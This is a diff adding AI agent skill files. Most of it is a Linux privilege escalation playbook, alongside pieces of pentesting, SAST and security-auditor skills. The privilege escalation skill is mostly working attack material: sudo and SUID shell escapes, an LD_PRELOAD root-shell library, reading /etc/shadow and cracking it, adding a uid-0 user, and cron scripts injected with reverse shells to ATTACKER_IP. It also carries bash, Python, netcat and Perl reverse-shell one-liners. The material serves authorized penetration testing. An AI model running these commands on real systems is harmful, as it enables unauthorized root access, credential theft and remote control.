||||
|
||||
### Phase 7: Reporting
|
||||
|
||||
Document findings professionally:
|
||||
|
||||
**Report Structure**
|
||||
1. **Executive Summary**
|
||||
- High-level findings
|
||||
- Business impact
|
||||
- Risk ratings
|
||||
- Remediation priorities
|
||||
|
||||
2. **Technical Findings**
|
||||
- Vulnerability details
|
||||
- Proof of concept
|
||||
- Screenshots/evidence
|
||||
- Affected systems
|
||||
|
||||
3. **Risk Ratings**
|
||||
- Critical: Immediate action required
|
||||
- High: Address within 24-48 hours
|
||||
- Medium: Address within 1 week
|
||||
- Low: Address within 1 month
|
||||
- Informational: Best practice recommendations
|
||||
|
||||
4. **Remediation Recommendations**
|
||||
- Specific fixes for each finding
|
||||
- Short-term mitigations
|
||||
- Long-term solutions
|
||||
- Resource requirements
|
||||
|
||||
5. **Appendices**
|
||||
- Detailed scan outputs
|
||||
- Tool configurations
|
||||
- Testing timeline
|
||||
- Scope and methodology
|
||||
|
||||
### Phase 8: Common Attack Types
|
||||
|
||||
**Phishing**
|
||||
- Email-based credential theft
|
||||
- Fake login pages
|
||||
- Malicious attachments
|
||||
- Social engineering component
|
||||
|
||||
**Malware Types**
|
||||
- **Virus**: Self-replicating, needs host file
|
||||
- **Worm**: Self-propagating across networks
|
||||
- **Trojan**: Disguised as legitimate software
|
||||
- **Ransomware**: Encrypts files for ransom
|
||||
- **Rootkit**: Hidden system-level access
|
||||
- **Spyware**: Monitors user activity
|
||||
|
||||
**Network Attacks**
|
||||
- Man-in-the-Middle (MITM)
|
||||
- ARP Spoofing
|
||||
- DNS Poisoning
|
||||
- DDoS (Distributed Denial of Service)
|
||||
|
||||
### Phase 9: Kali Linux Setup
|
||||
|
||||
Install penetration testing platform:
|
||||
|
||||
**Hard Disk Installation**
|
||||
1. Download ISO from kali.org
|
||||
2. Boot from installation media
|
||||
3. Select "Graphical Install"
|
||||
4. Configure language, location, keyboard
|
||||
5. Set hostname and root password
|
||||
6. Partition disk (Guided - use entire disk)
|
||||
7. Install GRUB bootloader
|
||||
8. Reboot and login
|
||||
|
||||
**Live USB (Persistent)**
|
||||
```bash
|
||||
# Create bootable USB
|
||||
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
|
||||
|
||||
# Create persistence partition
|
||||
gparted /dev/sdb
|
||||
# Add ext4 partition labeled "persistence"
|
||||
|
||||
# Configure persistence
|
||||
mkdir /mnt/usb
|
||||
mount /dev/sdb2 /mnt/usb
|
||||
echo "/ union" > /mnt/usb/persistence.conf
|
||||
umount /mnt/usb
|
||||
```
|
||||
|
||||
### Phase 10: Ethical Guidelines
|
||||
|
||||
**Legal Requirements**
|
||||
- Obtain written authorization
|
||||
- Define scope clearly
|
||||
- Document all testing activities
|
||||
- Report all findings to client
|
||||
- Maintain confidentiality
|
||||
|
||||
**Professional Conduct**
|
||||
- Work ethically with integrity
|
||||
- Respect privacy of data accessed
|
||||
- Avoid unnecessary system damage
|
||||
- Execute planned tests only
|
||||
- Never use findings for personal gain
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Penetration Testing Lifecycle
|
||||
|
||||
| Stage | Purpose | Key Tools |
|
||||
|-------|---------|-----------|
|
||||
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
|
||||
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
|
||||
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
|
||||
| Maintaining Access | Persistence | Meterpreter, SSH keys |
|
||||
| Reporting | Document findings | Report templates |
|
||||
|
||||
### Essential Commands
|
||||
|
||||
| Command | Purpose |
|
||||
|---------|---------|
|
||||
| `nmap -sV target` | Port and service scan |
|
||||
| `nikto -h target` | Web vulnerability scan |
|
||||
| `msfconsole` | Start Metasploit |
|
||||
| `hydra -l user -P list ssh://target` | SSH brute force |
|
||||
| `sqlmap -u "url?id=1" --dbs` | SQL injection |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Authorization Required
|
||||
- Never test without written permission
|
||||
- Stay within defined scope
|
||||
- Report unauthorized access attempts
|
||||
|
||||
### Professional Standards
|
||||
- Follow rules of engagement
|
||||
- Maintain client confidentiality
|
||||
- Document methodology used
|
||||
- Provide actionable recommendations
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Scans Blocked
|
||||
|
||||
**Solutions:**
|
||||
1. Use slower scan rates
|
||||
2. Try different scanning techniques
|
||||
3. Use proxy or VPN
|
||||
4. Fragment packets
|
||||
|
||||
### Exploits Failing
|
||||
|
||||
**Solutions:**
|
||||
1. Verify target vulnerability exists
|
||||
2. Check payload compatibility
|
||||
3. Adjust exploit parameters
|
||||
4. Try alternative exploits
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
+513
@@ -0,0 +1,513 @@
|
||||
---
|
||||
name: linux-privilege-escalation
|
||||
description: "Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control."
|
||||
risk: offensive
|
||||
source: community
|
||||
author: zebbern
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
|
||||
|
||||
# Linux Privilege Escalation
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Access
|
||||
- Low-privilege shell access to target Linux system
|
||||
- Ability to execute commands (interactive or semi-interactive shell)
|
||||
- Network access for reverse shell connections (if needed)
|
||||
- Attacker machine for payload hosting and receiving shells
|
||||
|
||||
### Technical Requirements
|
||||
- Understanding of Linux filesystem permissions and ownership
|
||||
- Familiarity with common Linux utilities and scripting
|
||||
- Knowledge of kernel versions and associated vulnerabilities
|
||||
- Basic understanding of compilation (gcc) for custom exploits
|
||||
|
||||
### Recommended Tools
|
||||
- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
|
||||
- Linux Exploit Suggester (LES)
|
||||
- GTFOBins reference for binary exploitation
|
||||
- John the Ripper or Hashcat for password cracking
|
||||
- Netcat or similar for reverse shells
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- Root shell access on target system
|
||||
- Privilege escalation path documentation
|
||||
- System enumeration findings report
|
||||
- Recommendations for remediation
|
||||
|
||||
### Evidence Artifacts
|
||||
- Screenshots of successful privilege escalation
|
||||
- Command output logs demonstrating root access
|
||||
- Identified vulnerability details
|
||||
- Exploited configuration files
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: System Enumeration
|
||||
|
||||
#### Basic System Information
|
||||
Gather fundamental system details for vulnerability research:
|
||||
|
||||
```bash
|
||||
# Hostname and system role
|
||||
hostname
|
||||
|
||||
# Kernel version and architecture
|
||||
uname -a
|
||||
|
||||
# Detailed kernel information
|
||||
cat /proc/version
|
||||
|
||||
# Operating system details
|
||||
cat /etc/issue
|
||||
cat /etc/*-release
|
||||
|
||||
# Architecture
|
||||
arch
|
||||
```
|
||||
|
||||
#### User and Permission Enumeration
|
||||
|
||||
```bash
|
||||
# Current user context
|
||||
whoami
|
||||
id
|
||||
|
||||
# Users with login shells
|
||||
cat /etc/passwd | grep -v nologin | grep -v false
|
||||
|
||||
# Users with home directories
|
||||
cat /etc/passwd | grep home
|
||||
|
||||
# Group memberships
|
||||
groups
|
||||
|
||||
# Other logged-in users
|
||||
w
|
||||
who
|
||||
```
|
||||
|
||||
#### Network Information
|
||||
|
||||
```bash
|
||||
# Network interfaces
|
||||
ifconfig
|
||||
ip addr
|
||||
|
||||
# Routing table
|
||||
ip route
|
||||
|
||||
# Active connections
|
||||
netstat -antup
|
||||
ss -tulpn
|
||||
|
||||
# Listening services
|
||||
netstat -l
|
||||
```
|
||||
|
||||
#### Process and Service Enumeration
|
||||
|
||||
```bash
|
||||
# All running processes
|
||||
ps aux
|
||||
ps -ef
|
||||
|
||||
# Process tree view
|
||||
ps axjf
|
||||
|
||||
# Services running as root
|
||||
ps aux | grep root
|
||||
```
|
||||
|
||||
#### Environment Variables
|
||||
|
||||
```bash
|
||||
# Full environment
|
||||
env
|
||||
|
||||
# PATH variable (for hijacking)
|
||||
echo $PATH
|
||||
```
|
||||
|
||||
### Phase 2: Automated Enumeration
|
||||
|
||||
Deploy automated scripts for comprehensive enumeration:
|
||||
|
||||
```bash
|
||||
# LinPEAS: download first, inspect the script, then execute only in an authorized lab
|
||||
curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
less linpeas.sh
|
||||
chmod +x linpeas.sh
|
||||
./linpeas.sh
|
||||
|
||||
# LinEnum
|
||||
./LinEnum.sh -t
|
||||
|
||||
# Linux Smart Enumeration
|
||||
./lse.sh -l 1
|
||||
|
||||
# Linux Exploit Suggester
|
||||
./les.sh
|
||||
```
|
||||
|
||||
Transfer scripts to target system:
|
||||
|
||||
```bash
|
||||
# On attacker machine
|
||||
python3 -m http.server 8000
|
||||
|
||||
# On target machine
|
||||
wget http://ATTACKER_IP:8000/linpeas.sh
|
||||
chmod +x linpeas.sh
|
||||
./linpeas.sh
|
||||
```
|
||||
|
||||
### Phase 3: Kernel Exploits
|
||||
|
||||
#### Identify Kernel Version
|
||||
|
||||
```bash
|
||||
uname -r
|
||||
cat /proc/version
|
||||
```
|
||||
|
||||
#### Search for Exploits
|
||||
|
||||
```bash
|
||||
# Use Linux Exploit Suggester
|
||||
./linux-exploit-suggester.sh
|
||||
|
||||
# Manual search on exploit-db
|
||||
searchsploit linux kernel [version]
|
||||
```
|
||||
|
||||
#### Common Kernel Exploits
|
||||
|
||||
| Kernel Version | Exploit | CVE |
|
||||
|---------------|---------|-----|
|
||||
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
|
||||
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
|
||||
| 5.8+ | Dirty Pipe | CVE-2022-0847 |
|
||||
|
||||
#### Compile and Execute
|
||||
|
||||
```bash
|
||||
# Transfer exploit source
|
||||
wget http://ATTACKER_IP/exploit.c
|
||||
|
||||
# Compile on target
|
||||
gcc exploit.c -o exploit
|
||||
|
||||
# Execute
|
||||
./exploit
|
||||
```
|
||||
|
||||
### Phase 4: Sudo Exploitation
|
||||
|
||||
#### Enumerate Sudo Privileges
|
||||
|
||||
```bash
|
||||
sudo -l
|
||||
```
|
||||
|
||||
#### GTFOBins Sudo Exploitation
|
||||
Reference https://gtfobins.github.io for exploitation commands:
|
||||
|
||||
```bash
|
||||
# Example: vim with sudo
|
||||
sudo vim -c ':!/bin/bash'
|
||||
|
||||
# Example: find with sudo
|
||||
sudo find . -exec /bin/sh \; -quit
|
||||
|
||||
# Example: awk with sudo
|
||||
sudo awk 'BEGIN {system("/bin/bash")}'
|
||||
|
||||
# Example: python with sudo
|
||||
sudo python -c 'import os; os.system("/bin/bash")'
|
||||
|
||||
# Example: less with sudo
|
||||
sudo less /etc/passwd
|
||||
!/bin/bash
|
||||
```
|
||||
|
||||
#### LD_PRELOAD Exploitation
|
||||
When env_keep includes LD_PRELOAD:
|
||||
|
||||
```c
|
||||
// shell.c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile shared library
|
||||
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
|
||||
|
||||
# Execute with sudo
|
||||
sudo LD_PRELOAD=/tmp/shell.so find
|
||||
```
|
||||
|
||||
### Phase 5: SUID Binary Exploitation
|
||||
|
||||
#### Find SUID Binaries
|
||||
|
||||
```bash
|
||||
find / -type f -perm -04000 -ls 2>/dev/null
|
||||
find / -perm -u=s -type f 2>/dev/null
|
||||
```
|
||||
|
||||
#### Exploit SUID Binaries
|
||||
Reference GTFOBins for SUID exploitation:
|
||||
|
||||
```bash
|
||||
# Example: base64 for file reading
|
||||
LFILE=/etc/shadow
|
||||
base64 "$LFILE" | base64 -d
|
||||
|
||||
# Example: cp for file writing
|
||||
cp /bin/bash /tmp/bash
|
||||
chmod +s /tmp/bash
|
||||
/tmp/bash -p
|
||||
|
||||
# Example: find with SUID
|
||||
find . -exec /bin/sh -p \; -quit
|
||||
```
|
||||
|
||||
#### Password Cracking via SUID
|
||||
|
||||
```bash
|
||||
# Read shadow file (if base64 has SUID)
|
||||
base64 /etc/shadow | base64 -d > shadow.txt
|
||||
base64 /etc/passwd | base64 -d > passwd.txt
|
||||
|
||||
# On attacker machine
|
||||
unshadow passwd.txt shadow.txt > hashes.txt
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
|
||||
```
|
||||
|
||||
#### Add User to passwd (if nano/vim has SUID)
|
||||
|
||||
```bash
|
||||
# Generate password hash
|
||||
openssl passwd -1 -salt new newpassword
|
||||
|
||||
# Add to /etc/passwd (using SUID editor)
|
||||
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
### Phase 6: Capabilities Exploitation
|
||||
|
||||
#### Enumerate Capabilities
|
||||
|
||||
```bash
|
||||
getcap -r / 2>/dev/null
|
||||
```
|
||||
|
||||
#### Exploit Capabilities
|
||||
|
||||
```bash
|
||||
# Example: python with cap_setuid
|
||||
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
||||
|
||||
# Example: vim with cap_setuid
|
||||
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
|
||||
|
||||
# Example: perl with cap_setuid
|
||||
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
|
||||
```
|
||||
|
||||
### Phase 7: Cron Job Exploitation
|
||||
|
||||
#### Enumerate Cron Jobs
|
||||
|
||||
```bash
|
||||
# System crontab
|
||||
cat /etc/crontab
|
||||
|
||||
# User crontabs
|
||||
ls -la /var/spool/cron/crontabs/
|
||||
|
||||
# Cron directories
|
||||
ls -la /etc/cron.*
|
||||
|
||||
# Systemd timers
|
||||
systemctl list-timers
|
||||
```
|
||||
|
||||
#### Exploit Writable Cron Scripts
|
||||
|
||||
```bash
|
||||
# Identify writable cron script from /etc/crontab
|
||||
ls -la /opt/backup.sh # Check permissions
|
||||
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
|
||||
|
||||
# If cron references non-existent script in writable PATH
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
|
||||
chmod +x /home/user/antivirus.sh
|
||||
```
|
||||
|
||||
### Phase 8: PATH Hijacking
|
||||
|
||||
```bash
|
||||
# Find SUID binary calling external command
|
||||
strings /usr/local/bin/suid-binary
|
||||
# Shows: system("service apache2 start")
|
||||
|
||||
# Hijack by creating malicious binary in writable PATH
|
||||
export PATH=/tmp:$PATH
|
||||
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
|
||||
chmod +x /tmp/service
|
||||
/usr/local/bin/suid-binary # Execute SUID binary
|
||||
```
|
||||
|
||||
### Phase 9: NFS Exploitation
|
||||
|
||||
```bash
|
||||
# On target - look for no_root_squash option
|
||||
cat /etc/exports
|
||||
|
||||
# On attacker - mount share and create SUID binary
|
||||
showmount -e TARGET_IP
|
||||
mount -o rw TARGET_IP:/share /tmp/nfs
|
||||
|
||||
# Create and compile SUID shell
|
||||
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
|
||||
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
|
||||
|
||||
# On target - execute
|
||||
/share/shell
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Enumeration Commands Summary
|
||||
| Purpose | Command |
|
||||
|---------|---------|
|
||||
| Kernel version | `uname -a` |
|
||||
| Current user | `id` |
|
||||
| Sudo rights | `sudo -l` |
|
||||
| SUID files | `find / -perm -u=s -type f 2>/dev/null` |
|
||||
| Capabilities | `getcap -r / 2>/dev/null` |
|
||||
| Cron jobs | `cat /etc/crontab` |
|
||||
| Writable dirs | `find / -writable -type d 2>/dev/null` |
|
||||
| NFS exports | `cat /etc/exports` |
|
||||
|
||||
### Reverse Shell One-Liners
|
||||
```bash
|
||||
# Bash
|
||||
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
|
||||
|
||||
# Python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
|
||||
|
||||
# Netcat
|
||||
nc -e /bin/bash ATTACKER_IP 4444
|
||||
|
||||
# Perl
|
||||
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
|
||||
```
|
||||
|
||||
### Key Resources
|
||||
- GTFOBins: https://gtfobins.github.io
|
||||
- LinPEAS: https://github.com/carlospolop/PEASS-ng
|
||||
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Verify kernel exploits in test environment before production use
|
||||
- Failed kernel exploits may crash the system
|
||||
- Document all changes made during privilege escalation
|
||||
- Maintain access persistence only as authorized
|
||||
|
||||
### Technical Limitations
|
||||
- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
|
||||
- AppArmor/SELinux may restrict exploitation techniques
|
||||
- Container environments limit kernel-level exploits
|
||||
- Hardened systems may have restricted sudo configurations
|
||||
|
||||
### Legal and Ethical Requirements
|
||||
- Written authorization required before testing
|
||||
- Stay within defined scope boundaries
|
||||
- Report critical findings immediately
|
||||
- Do not access data beyond scope requirements
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Sudo to Root via find
|
||||
|
||||
**Scenario**: User has sudo rights for find command
|
||||
|
||||
```bash
|
||||
$ sudo -l
|
||||
User user may run the following commands:
|
||||
(root) NOPASSWD: /usr/bin/find
|
||||
|
||||
$ sudo find . -exec /bin/bash \; -quit
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
### Example 2: SUID base64 for Shadow Access
|
||||
|
||||
**Scenario**: base64 binary has SUID bit set
|
||||
|
||||
```bash
|
||||
$ find / -perm -u=s -type f 2>/dev/null | grep base64
|
||||
/usr/bin/base64
|
||||
|
||||
$ base64 /etc/shadow | base64 -d
|
||||
root:$6$xyz...:18000:0:99999:7:::
|
||||
|
||||
# Crack offline with john
|
||||
$ john --wordlist=rockyou.txt shadow.txt
|
||||
```
|
||||
|
||||
### Example 3: Cron Job Script Hijacking
|
||||
|
||||
**Scenario**: Root cron job executes writable script
|
||||
|
||||
```bash
|
||||
$ cat /etc/crontab
|
||||
* * * * * root /opt/scripts/backup.sh
|
||||
|
||||
$ ls -la /opt/scripts/backup.sh
|
||||
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
|
||||
|
||||
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
|
||||
|
||||
# Wait 1 minute
|
||||
$ /tmp/bash -p
|
||||
# id
|
||||
uid=1000(user) gid=1000(user) euid=0(root)
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |
|
||||
| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
|
||||
| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
|
||||
| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
+220
@@ -0,0 +1,220 @@
|
||||
---
|
||||
name: sast-configuration
|
||||
description: "Static Application Security Testing (SAST) tool setup, configuration, and custom rule creation for comprehensive security scanning across multiple programming languages."
|
||||
risk: unknown
|
||||
source: community
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
# SAST Configuration
|
||||
|
||||
Static Application Security Testing (SAST) tool setup, configuration, and custom rule creation for comprehensive security scanning across multiple programming languages.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Set up SAST scanning in CI/CD pipelines
|
||||
- Create custom security rules for your codebase
|
||||
- Configure quality gates and compliance policies
|
||||
- Optimize scan performance and reduce false positives
|
||||
- Integrate multiple SAST tools for defense-in-depth
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You only need DAST or manual penetration testing guidance
|
||||
- You cannot access source code or CI/CD pipelines
|
||||
- You need organizational policy decisions rather than tooling setup
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Identify languages, repos, and compliance requirements.
|
||||
2. Choose tools and define a baseline policy.
|
||||
3. Integrate scans into CI/CD with gating thresholds.
|
||||
4. Tune rules and suppressions based on false positives.
|
||||
5. Track remediation and verify fixes.
|
||||
|
||||
## Safety
|
||||
|
||||
- Avoid scanning sensitive repos with third-party services without approval.
|
||||
- Prevent leaks of secrets in scan artifacts and logs.
|
||||
|
||||
## Overview
|
||||
|
||||
This skill provides comprehensive guidance for setting up and configuring SAST tools including Semgrep, SonarQube, and CodeQL.
|
||||
|
||||
## Core Capabilities
|
||||
|
||||
### 1. Semgrep Configuration
|
||||
- Custom rule creation with pattern matching
|
||||
- Language-specific security rules (Python, JavaScript, Go, Java, etc.)
|
||||
- CI/CD integration (GitHub Actions, GitLab CI, Jenkins)
|
||||
- False positive tuning and rule optimization
|
||||
- Organizational policy enforcement
|
||||
|
||||
### 2. SonarQube Setup
|
||||
- Quality gate configuration
|
||||
- Security hotspot analysis
|
||||
- Code coverage and technical debt tracking
|
||||
- Custom quality profiles for languages
|
||||
- Enterprise integration with LDAP/SAML
|
||||
|
||||
### 3. CodeQL Analysis
|
||||
- GitHub Advanced Security integration
|
||||
- Custom query development
|
||||
- Vulnerability variant analysis
|
||||
- Security research workflows
|
||||
- SARIF result processing
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Initial Assessment
|
||||
1. Identify primary programming languages in your codebase
|
||||
2. Determine compliance requirements (PCI-DSS, SOC 2, etc.)
|
||||
3. Choose SAST tool based on language support and integration needs
|
||||
4. Review baseline scan to understand current security posture
|
||||
|
||||
### Basic Setup
|
||||
```bash
|
||||
# Semgrep quick start
|
||||
pip install semgrep
|
||||
semgrep --config=auto --error
|
||||
|
||||
# SonarQube with Docker
|
||||
docker run -d --name sonarqube -p 9000:9000 sonarqube:latest
|
||||
|
||||
# CodeQL CLI setup
|
||||
gh extension install github/gh-codeql
|
||||
codeql database create mydb --language=python
|
||||
```
|
||||
|
||||
## Reference Documentation
|
||||
|
||||
- Semgrep Rule Creation - Pattern-based security rule development
|
||||
- SonarQube Configuration - Quality gates and profiles
|
||||
- CodeQL Setup Guide - Query development and workflows
|
||||
|
||||
## Templates & Assets
|
||||
|
||||
- semgrep-config.yml - Production-ready Semgrep configuration
|
||||
- sonarqube-settings.xml - SonarQube quality profile template
|
||||
- run-sast.sh - Automated SAST execution script
|
||||
|
||||
## Integration Patterns
|
||||
|
||||
### CI/CD Pipeline Integration
|
||||
```yaml
|
||||
# GitHub Actions example
|
||||
- name: Run Semgrep
|
||||
uses: returntocorp/semgrep-action@v1
|
||||
with:
|
||||
config: >-
|
||||
p/security-audit
|
||||
p/owasp-top-ten
|
||||
```
|
||||
|
||||
### Pre-commit Hook
|
||||
```bash
|
||||
# .pre-commit-config.yaml
|
||||
- repo: https://github.com/returntocorp/semgrep
|
||||
rev: v1.45.0
|
||||
hooks:
|
||||
- id: semgrep
|
||||
args: ['--config=auto', '--error']
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Start with Baseline**
|
||||
- Run initial scan to establish security baseline
|
||||
- Prioritize critical and high severity findings
|
||||
- Create remediation roadmap
|
||||
|
||||
2. **Incremental Adoption**
|
||||
- Begin with security-focused rules
|
||||
- Gradually add code quality rules
|
||||
- Implement blocking only for critical issues
|
||||
|
||||
3. **False Positive Management**
|
||||
- Document legitimate suppressions
|
||||
- Create allow lists for known safe patterns
|
||||
- Regularly review suppressed findings
|
||||
|
||||
4. **Performance Optimization**
|
||||
- Exclude test files and generated code
|
||||
- Use incremental scanning for large codebases
|
||||
- Cache scan results in CI/CD
|
||||
|
||||
5. **Team Enablement**
|
||||
- Provide security training for developers
|
||||
- Create internal documentation for common patterns
|
||||
- Establish security champions program
|
||||
|
||||
## Common Use Cases
|
||||
|
||||
### New Project Setup
|
||||
```bash
|
||||
./scripts/run-sast.sh --setup --language python --tools semgrep,sonarqube
|
||||
```
|
||||
|
||||
### Custom Rule Development
|
||||
```yaml
|
||||
# See references/semgrep-rules.md for detailed examples
|
||||
rules:
|
||||
- id: hardcoded-jwt-secret
|
||||
pattern: jwt.encode($DATA, "...", ...)
|
||||
message: JWT secret should not be hardcoded
|
||||
severity: ERROR
|
||||
```
|
||||
|
||||
### Compliance Scanning
|
||||
```bash
|
||||
# PCI-DSS focused scan
|
||||
semgrep --config p/pci-dss --json -o pci-scan-results.json
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### High False Positive Rate
|
||||
- Review and tune rule sensitivity
|
||||
- Add path filters to exclude test files
|
||||
- Use nostmt metadata for noisy patterns
|
||||
- Create organization-specific rule exceptions
|
||||
|
||||
### Performance Issues
|
||||
- Enable incremental scanning
|
||||
- Parallelize scans across modules
|
||||
- Optimize rule patterns for efficiency
|
||||
- Cache dependencies and scan results
|
||||
|
||||
### Integration Failures
|
||||
- Verify API tokens and credentials
|
||||
- Check network connectivity and proxy settings
|
||||
- Review SARIF output format compatibility
|
||||
- Validate CI/CD runner permissions
|
||||
|
||||
## Related Skills
|
||||
|
||||
- OWASP Top 10 Checklist
|
||||
- Container Security
|
||||
- Dependency Scanning
|
||||
|
||||
## Tool Comparison
|
||||
|
||||
| Tool | Best For | Language Support | Cost | Integration |
|
||||
|------|----------|------------------|------|-------------|
|
||||
| Semgrep | Custom rules, fast scans | 30+ languages | Free/Enterprise | Excellent |
|
||||
| SonarQube | Code quality + security | 25+ languages | Free/Commercial | Good |
|
||||
| CodeQL | Deep analysis, research | 10+ languages | Free (OSS) | GitHub native |
|
||||
|
||||
## Next Steps
|
||||
|
||||
1. Complete initial SAST tool setup
|
||||
2. Run baseline security scan
|
||||
3. Create custom rules for organization-specific patterns
|
||||
4. Integrate into CI/CD pipeline
|
||||
5. Establish security gate policies
|
||||
6. Train development team on findings and remediation
|
||||
|
||||
## Limitations
|
||||
- Use this skill only when the task clearly matches the scope described above.
|
||||
- Do not treat the output as a substitute for environment-specific validation, testing, or expert review.
|
||||
- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing.
|
||||
+177
@@ -0,0 +1,177 @@
|
||||
---
|
||||
name: security-auditor
|
||||
description: Expert security auditor specializing in DevSecOps, comprehensive cybersecurity, and compliance frameworks.
|
||||
risk: unknown
|
||||
source: community
|
||||
date_added: '2026-02-27'
|
||||
---
|
||||
You are a security auditor specializing in DevSecOps, application security, and comprehensive cybersecurity practices.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Running security audits or risk assessments
|
||||
- Reviewing SDLC security controls, CI/CD, or compliance readiness
|
||||
- Investigating vulnerabilities or designing mitigation plans
|
||||
- Validating authentication, authorization, and data protection controls
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You lack authorization or scope approval for security testing
|
||||
- You need legal counsel or formal compliance certification
|
||||
- You only need a quick automated scan without manual review
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Confirm scope, assets, and compliance requirements.
|
||||
2. Review architecture, threat model, and existing controls.
|
||||
3. **Trace Data Flow:** Systematically follow data from entry points (UI/API) through middleware to final storage, checking for "security bypasses" where privileged logic (e.g., Admin SDKs) ignores standard database security rules.
|
||||
4. **Adversarial Analysis:** For every feature, ask "How can this be defaced, hijacked, or exploited?" specifically looking for IDOR on global resources.
|
||||
5. Run targeted scans and manual verification for high-risk areas.
|
||||
6. Prioritize findings by severity and business impact with remediation steps.
|
||||
7. Validate fixes and document residual risk.
|
||||
|
||||
## Safety
|
||||
|
||||
- Do not run intrusive tests in production without written approval.
|
||||
- Protect sensitive data and avoid exposing secrets in reports.
|
||||
|
||||
## Purpose
|
||||
Expert security auditor with comprehensive knowledge of modern cybersecurity practices, DevSecOps methodologies, and compliance frameworks. Masters vulnerability assessment, threat modeling, secure coding practices, and security automation. Specializes in building security into development pipelines and creating resilient, compliant systems.
|
||||
|
||||
## Capabilities
|
||||
|
||||
### DevSecOps & Security Automation
|
||||
- **Security pipeline integration**: SAST, DAST, IAST, dependency scanning in CI/CD
|
||||
- **Shift-left security**: Early vulnerability detection, secure coding practices, developer training
|
||||
- **Security as Code**: Policy as Code with OPA, security infrastructure automation
|
||||
- **Container security**: Image scanning, runtime security, Kubernetes security policies
|
||||
